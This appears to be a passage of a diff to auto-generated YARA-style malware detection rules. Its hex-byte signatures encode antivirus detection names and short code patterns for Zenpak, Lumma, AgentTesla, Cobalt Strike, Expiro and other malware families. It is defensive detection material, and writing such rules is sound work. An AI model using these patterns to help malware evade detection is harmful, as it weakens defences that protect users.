c7 45 fc 4f e6 40 bb 01 00 07 00 bf 4e e6 40 bb 3b c7 01 00 0c 00 bf 4e e6 40 bb be 00 00 ff ff 3b c7 00 00 78 4a 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 65 64 79 2e 50 5a 42 21 4d 54 42 00 02 00 1e 01 07 08 02 08 1a 58 91 06 61 d2 9c 06 } //24933 condition: ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*24933) >=1 } -rule _InfrastructureShared_3233{ +rule _InfrastructureShared_3301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : - $a_54_0 = {3a 56 43 43 6c 65 61 6e 53 74 75 62 00 01 00 10 01 81 7d fc 4e e6 40 bb 75 09 c7 45 fc 4f e6 40 bb 01 00 07 00 bf 4e e6 40 bb 3b c7 01 00 0c 00 bf 4e e6 40 bb be 00 00 ff ff 3b c7 00 00 78 4a 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 } //18467 - $a_69_1 = {33 32 2f 5a 65 6e 70 61 6b 2e 42 41 41 21 4d 54 42 00 02 00 1c 03 8b 44 24 28 c1 ef 05 03 c1 03 7c 24 1c 33 f8 8d 04 1a 33 f8 81 fe 90 01 04 75 90 00 00 00 78 4a 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 50 43 48 75 } //14958 - $a_72_2 = {72 76 2e 41 00 01 00 0d 80 01 44 6f 73 44 65 76 69 63 65 73 5c 41 3a 01 00 08 80 01 41 6e 58 69 6e 53 65 63 00 00 78 4a 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 72 69 64 65 78 2e 56 41 4d 21 4d 53 52 00 01 00 14 02 f0 8b 55 08 90 01 01 32 8b 45 08 89 30 5e 8b } //29806 + $a_54_0 = {3a 56 43 43 6c 65 61 6e 53 74 75 62 00 01 00 10 01 81 7d fc 4e e6 40 bb 75 09 c7 45 fc 4f e6 40 bb 01 00 07 00 bf 4e e6 40 bb 3b c7 01 00 0c 00 bf 4e e6 40 bb be 00 00 ff ff 3b c7 00 00 78 4a 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a } //18467 + $a_4d_1 = {49 4c 2f 54 65 64 79 2e 50 5a 42 21 4d 54 42 00 02 00 1e 01 07 08 02 08 1a 58 91 06 61 d2 9c 06 17 62 06 1f 1f 63 60 0a 08 17 58 0c 08 07 8e 69 32 e2 00 00 78 4a 00 00 02 00 } //28257 + $a_00_2 = {21 } //2 ! condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*14958+(#a_72_2 & 1)*29806) >=1 + ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*28257+(#a_00_2 & 1)*2) >=1 } -rule _InfrastructureShared_3234{ +rule _InfrastructureShared_3302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 6e 70 61 6b 2e 42 41 41 21 4d 54 42 00 02 00 1c 03 8b 44 24 28 c1 ef 05 03 c1 03 7c 24 1c 33 f8 8d 04 1a 33 f8 81 fe 90 01 04 75 90 00 00 00 78 4a 00 00 02 00 02 00 02 00 21 23 41 4c } //16675 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 65 64 79 2e 50 5a 42 21 4d 54 42 00 02 00 1e 01 07 08 02 08 1a 58 91 06 61 d2 9c 06 17 62 06 1f 1f 63 60 0a 08 17 58 0c 08 07 8e 69 32 e2 00 00 78 4a 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //18467 condition: - ((#a_46_0 & 1)*16675) >=2 + ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_3235{ +rule _InfrastructureShared_3303{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 48 4c 4d 44 21 4d 54 42 00 02 00 15 03 01 d7 45 0f b6 a3 90 01 04 44 30 38 49 ff c0 4c 39 c8 75 90 00 00 00 78 4a 00 00 02 00 02 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_3304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -33420,7 +34140,7 @@ rule _InfrastructureShared_3235{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*14918) >=2 } -rule _InfrastructureShared_3236{ +rule _InfrastructureShared_3305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -33431,7 +34151,7 @@ rule _InfrastructureShared_3236{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*14918) >=2 } -rule _InfrastructureShared_3237{ +rule _InfrastructureShared_3306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -33442,7 +34162,7 @@ rule _InfrastructureShared_3237{ ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*14918) >=2 } -rule _InfrastructureShared_3238{ +rule _InfrastructureShared_3307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -33453,7 +34173,7 @@ rule _InfrastructureShared_3238{ ((#a_46_0 & 1)*16675+(#a_4f_1 & 1)*21076) >=2 } -rule _InfrastructureShared_3239{ +rule _InfrastructureShared_3308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -33464,7 +34184,7 @@ rule _InfrastructureShared_3239{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26996) >=2 } -rule _InfrastructureShared_3240{ +rule _InfrastructureShared_3309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -33475,7 +34195,7 @@ rule _InfrastructureShared_3240{ ((#a_5f_0 & 1)*25635+(#a_68_1 & 1)*261) >=2 } -rule _InfrastructureShared_3241{ +rule _InfrastructureShared_3310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -33486,72 +34206,71 @@ rule _InfrastructureShared_3241{ ((#a_5f_0 & 1)*25635+(#a_50_1 & 1)*21599) >=2 } -rule _InfrastructureShared_3242{ +rule _InfrastructureShared_3311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 4d 79 53 71 6c 64 00 01 00 0c 01 73 74 61 72 74 20 6d 79 73 71 6c 64 01 00 0e 01 4d 59 53 51 4c 5f 54 43 50 5f 50 4f 52 54 01 00 0e 01 43 4c 4e 54 53 52 56 52 63 6c 69 65 6e 74 00 00 78 4a 00 00 03 00 03 00 04 00 21 23 64 6f 5f 64 65 65 70 5f 72 } //18467 - $a_61_1 = {5f 74 72 61 63 75 72 00 01 00 07 11 83 ba 88 00 00 00 00 01 00 07 11 81 7d dc 00 00 01 00 01 00 06 11 8b 8a a0 00 00 00 01 00 06 11 81 e9 ac 00 00 00 00 00 78 4a 00 00 04 00 04 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 63 65 64 49 44 2e 50 41 41 21 4d 54 42 00 04 00 1c } //29541 - $a_44_2 = {10 8b 54 24 10 0f b6 c3 0f b6 da 0f af d8 8b 15 90 01 04 c0 e3 05 90 00 00 00 78 4a 00 00 04 00 04 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 46 41 43 21 4d 54 42 00 04 00 1c 01 4f f7 de 03 da 33 c7 4e 87 c7 f7 d6 33 c2 46 81 f2 14 e2 71 32 03 f3 f7 d0 c1 c3 08 00 00 78 4a 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 } //18435 + $a_61_1 = {5f 74 72 61 63 75 72 00 01 00 07 11 83 ba 88 00 00 00 00 01 00 07 11 81 7d dc 00 00 01 00 01 00 06 11 8b 8a a0 00 00 00 01 00 06 11 81 e9 ac 00 00 00 00 00 78 4a 00 00 04 00 04 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 46 41 43 21 4d 54 42 00 04 00 1c } //29541 + $a_de_2 = {da 33 c7 4e 87 c7 f7 d6 33 c2 46 81 f2 14 e2 71 32 03 f3 f7 d0 c1 c3 08 00 00 78 4a 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 63 2e 50 47 4c 4c 21 4d 54 42 00 05 00 1b 03 31 fe 0f af f0 0f be 7c 13 90 01 01 31 f7 0f af f8 83 c2 90 01 01 39 d1 75 90 00 00 00 78 4a 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 56 69 72 75 73 3a 57 69 6e 33 32 2f 45 78 70 69 72 6f 2e 48 4e 57 21 4d 54 42 00 05 00 1d 03 40 00 00 40 2e 72 65 6c 6f 63 00 00 90 01 1c 40 00 00 e2 00 00 00 00 00 00 00 00 90 00 00 00 78 4a 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 41 6c 6c 61 70 6c 65 2e 50 47 41 21 4d 54 42 00 05 00 1d 03 2f 07 3f c9 f5 34 90 01 01 2b 2a 54 bf 90 01 04 db 55 } //20225 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29541+(#a_44_2 & 1)*18435) >=3 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29541+(#a_de_2 & 1)*20225) >=3 } -rule _InfrastructureShared_3243{ +rule _InfrastructureShared_3312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : - $a_5f_0 = {65 65 70 5f 72 65 73 63 61 6e 5f 74 72 61 63 75 72 00 01 00 07 11 83 ba 88 00 00 00 00 01 00 07 11 81 7d dc 00 00 01 00 01 00 06 11 8b 8a a0 00 00 00 01 00 06 11 81 e9 ac 00 00 00 00 00 78 4a 00 00 04 00 04 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 63 65 64 49 44 2e 50 41 41 21 4d 54 42 00 04 00 1c 03 48 } //25635 - $a_10_1 = {8b 54 24 10 0f b6 c3 0f b6 da 0f af d8 8b 15 90 01 04 c0 e3 05 90 00 00 00 78 4a 00 00 04 00 04 00 01 00 21 } //17545 - $a_46_2 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 46 41 43 21 4d 54 42 00 04 00 1c 01 4f f7 de 03 da 33 c7 4e 87 c7 f7 d6 33 c2 46 81 f2 14 e2 71 32 03 f3 f7 d0 c1 c3 08 00 00 78 4a 00 00 05 00 05 00 01 00 21 23 41 4c } //16675 - $a_72_3 = {6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 45 41 48 41 21 4d 54 42 00 05 00 1c 01 06 08 1f 0a 5a 6f 32 00 00 0a 26 04 07 08 91 6f 33 00 00 0a 08 17 58 0c 08 03 32 e4 00 00 78 4a 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 } //14918 + $a_5f_0 = {65 65 70 5f 72 65 73 63 61 6e 5f 74 72 61 63 75 72 00 01 00 07 11 83 ba 88 00 00 00 00 01 00 07 11 81 7d dc 00 00 01 00 01 00 06 11 8b 8a a0 00 00 00 01 00 06 11 81 e9 ac 00 00 00 00 00 78 4a 00 00 04 00 04 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 46 41 43 21 4d 54 42 00 04 00 1c 01 4f } //25635 + $a_da_1 = {c7 4e 87 } //-8457 + $a_33_2 = {46 81 f2 14 e2 71 32 03 f3 f7 d0 c1 c3 08 00 00 78 4a 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 63 2e 50 47 4c 4c 21 4d 54 42 00 05 00 1b 03 31 fe 0f af f0 0f be 7c 13 90 01 01 31 f7 0f af f8 83 c2 90 01 01 39 d1 75 90 00 00 00 78 4a 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 56 69 72 75 73 3a 57 69 6e 33 32 2f 45 78 70 69 72 6f 2e 48 4e 57 21 4d 54 42 00 05 00 1d 03 40 00 00 40 2e 72 65 6c 6f 63 00 00 90 01 1c 40 00 00 e2 00 00 00 00 00 00 00 00 90 00 00 00 78 4a 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 41 6c 6c 61 70 6c 65 2e 50 47 41 21 4d 54 42 } //-2105 condition: - ((#a_5f_0 & 1)*25635+(#a_10_1 & 1)*17545+(#a_46_2 & 1)*16675+(#a_72_3 & 1)*14918) >=3 + ((#a_5f_0 & 1)*25635+(#a_da_1 & 1)*-8457+(#a_33_2 & 1)*-2105) >=3 } -rule _InfrastructureShared_3244{ +rule _InfrastructureShared_3313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 63 65 64 49 44 2e 50 41 41 21 4d 54 42 00 04 00 1c 03 48 89 44 24 10 8b 54 24 10 0f b6 c3 0f b6 da 0f af d8 8b 15 90 01 04 c0 e3 05 90 00 00 00 78 4a 00 00 04 00 04 00 01 00 21 23 41 4c } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 46 41 43 21 4d 54 42 00 04 00 1c 01 4f f7 de 03 da 33 c7 4e 87 c7 f7 d6 33 c2 46 81 f2 14 e2 71 32 03 f3 f7 d0 c1 c3 08 00 00 78 4a 00 00 05 00 05 00 01 00 21 23 54 45 } //16675 condition: ((#a_46_0 & 1)*16675) >=4 } -rule _InfrastructureShared_3245{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 46 41 43 21 4d 54 42 00 04 00 1c 01 4f f7 de 03 da 33 c7 4e 87 c7 f7 d6 33 c2 46 81 f2 14 e2 71 32 03 f3 f7 d0 c1 c3 08 00 00 78 4a 00 00 05 00 05 00 01 00 21 23 41 4c } //16675 - condition: - ((#a_46_0 & 1)*16675) >=4 - -} -rule _InfrastructureShared_3246{ +rule _InfrastructureShared_3314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 45 41 48 41 21 4d 54 42 00 05 00 1c 01 06 08 1f 0a 5a 6f 32 00 00 0a 26 04 07 08 91 6f 33 00 00 0a 08 17 58 0c 08 03 32 e4 00 00 78 4a 00 00 05 00 05 00 01 00 21 23 54 45 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=5 - -} -rule _InfrastructureShared_3247{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 7a 79 2e 50 47 52 21 4d 54 42 00 05 00 1e 03 66 bb e0 2c 8d 15 90 01 04 87 cb c1 db 0a 89 d7 90 01 01 33 f7 c1 e3 0d 33 d8 81 f2 90 00 00 00 78 4a 00 00 0a 00 0a } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 63 2e 50 47 4c 4c 21 4d 54 42 00 05 00 1b 03 31 fe 0f af f0 0f be 7c 13 90 01 01 31 f7 0f af f8 83 c2 90 01 01 39 d1 75 90 00 00 00 78 4a 00 00 05 00 05 } //21539 condition: ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_3248{ +rule _InfrastructureShared_3315{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_4c_0 = {56 69 72 75 73 3a 57 69 6e 33 32 2f 45 78 70 69 72 6f 2e 48 4e 57 21 4d 54 42 00 05 00 1d 03 40 00 00 40 2e 72 65 6c 6f 63 00 00 90 01 1c 40 00 00 e2 00 00 00 00 00 00 00 00 90 00 00 00 78 4a 00 00 05 00 05 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_3316{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_4c_0 = {57 6f 72 6d 3a 57 69 6e 33 32 2f 41 6c 6c 61 70 6c 65 2e 50 47 41 21 4d 54 42 00 05 00 1d 03 2f 07 3f c9 f5 34 90 01 01 2b 2a 54 bf 90 01 04 db 55 f7 33 ad 90 01 04 56 e0 d6 90 00 00 00 78 4a 00 00 0a 00 0a } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_3317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -33561,17 +34280,27 @@ rule _InfrastructureShared_3248{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_3249{ +rule _InfrastructureShared_3318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 5a 5a 35 38 21 4d 54 42 00 0a 00 15 03 04 5d 91 0a 06 7e 90 01 01 00 00 04 03 04 5d 90 02 0f 61 90 00 00 00 78 4a 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 50 45 52 3a 42 61 } //18467 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 5a 5a 35 38 21 4d 54 42 00 0a 00 15 03 04 5d 91 0a 06 7e 90 01 01 00 00 04 03 04 5d 90 02 0f 61 90 00 00 00 78 4a 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //18467 condition: ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_3250{ +rule _InfrastructureShared_3319{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 51 51 21 4d 54 42 00 0a 00 1a 03 11 04 17 1a 8d 90 01 03 01 13 06 11 06 16 20 90 01 1f 06 a2 11 06 17 20 90 00 00 00 78 4a 00 00 0a 00 0a } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_3320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -33581,7 +34310,7 @@ rule _InfrastructureShared_3250{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_3251{ +rule _InfrastructureShared_3321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -33592,7 +34321,7 @@ rule _InfrastructureShared_3251{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*21076) >=11 } -rule _InfrastructureShared_3252{ +rule _InfrastructureShared_3322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 02 00 21 " @@ -33603,7 +34332,7 @@ rule _InfrastructureShared_3252{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*30066) >=100 } -rule _InfrastructureShared_3253{ +rule _InfrastructureShared_3323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33613,7 +34342,7 @@ rule _InfrastructureShared_3253{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3254{ +rule _InfrastructureShared_3324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33623,7 +34352,7 @@ rule _InfrastructureShared_3254{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3255{ +rule _InfrastructureShared_3325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33633,7 +34362,7 @@ rule _InfrastructureShared_3255{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3256{ +rule _InfrastructureShared_3326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33643,7 +34372,7 @@ rule _InfrastructureShared_3256{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3257{ +rule _InfrastructureShared_3327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33653,17 +34382,7 @@ rule _InfrastructureShared_3257{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3258{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6d 62 6c 65 62 65 65 2e 47 56 41 21 4d 54 42 00 01 00 1a 01 40 30 1e 48 81 c6 01 00 00 00 48 81 c3 83 31 30 f9 49 81 eb 01 00 00 00 0f 85 00 00 78 4b 00 00 01 00 01 00 01 00 21 23 41 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=1 - -} -rule _InfrastructureShared_3259{ +rule _InfrastructureShared_3328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33673,7 +34392,7 @@ rule _InfrastructureShared_3259{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3260{ +rule _InfrastructureShared_3329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33683,7 +34402,7 @@ rule _InfrastructureShared_3260{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3261{ +rule _InfrastructureShared_3330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33693,7 +34412,7 @@ rule _InfrastructureShared_3261{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3262{ +rule _InfrastructureShared_3331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33703,7 +34422,7 @@ rule _InfrastructureShared_3262{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3263{ +rule _InfrastructureShared_3332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33713,7 +34432,7 @@ rule _InfrastructureShared_3263{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3264{ +rule _InfrastructureShared_3333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33723,7 +34442,7 @@ rule _InfrastructureShared_3264{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3265{ +rule _InfrastructureShared_3334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33733,7 +34452,7 @@ rule _InfrastructureShared_3265{ ((#a_6f_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3266{ +rule _InfrastructureShared_3335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33743,7 +34462,7 @@ rule _InfrastructureShared_3266{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3267{ +rule _InfrastructureShared_3336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33753,7 +34472,7 @@ rule _InfrastructureShared_3267{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3268{ +rule _InfrastructureShared_3337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33763,7 +34482,7 @@ rule _InfrastructureShared_3268{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3269{ +rule _InfrastructureShared_3338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33773,7 +34492,7 @@ rule _InfrastructureShared_3269{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3270{ +rule _InfrastructureShared_3339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33783,7 +34502,7 @@ rule _InfrastructureShared_3270{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3271{ +rule _InfrastructureShared_3340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33793,7 +34512,7 @@ rule _InfrastructureShared_3271{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3272{ +rule _InfrastructureShared_3341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33803,7 +34522,7 @@ rule _InfrastructureShared_3272{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3273{ +rule _InfrastructureShared_3342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33813,7 +34532,7 @@ rule _InfrastructureShared_3273{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3274{ +rule _InfrastructureShared_3343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33823,7 +34542,7 @@ rule _InfrastructureShared_3274{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3275{ +rule _InfrastructureShared_3344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33833,7 +34552,7 @@ rule _InfrastructureShared_3275{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3276{ +rule _InfrastructureShared_3345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33843,7 +34562,7 @@ rule _InfrastructureShared_3276{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3277{ +rule _InfrastructureShared_3346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33853,7 +34572,7 @@ rule _InfrastructureShared_3277{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3278{ +rule _InfrastructureShared_3347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33863,7 +34582,7 @@ rule _InfrastructureShared_3278{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3279{ +rule _InfrastructureShared_3348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33873,7 +34592,7 @@ rule _InfrastructureShared_3279{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3280{ +rule _InfrastructureShared_3349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33883,7 +34602,7 @@ rule _InfrastructureShared_3280{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3281{ +rule _InfrastructureShared_3350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -33893,7 +34612,7 @@ rule _InfrastructureShared_3281{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3282{ +rule _InfrastructureShared_3351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 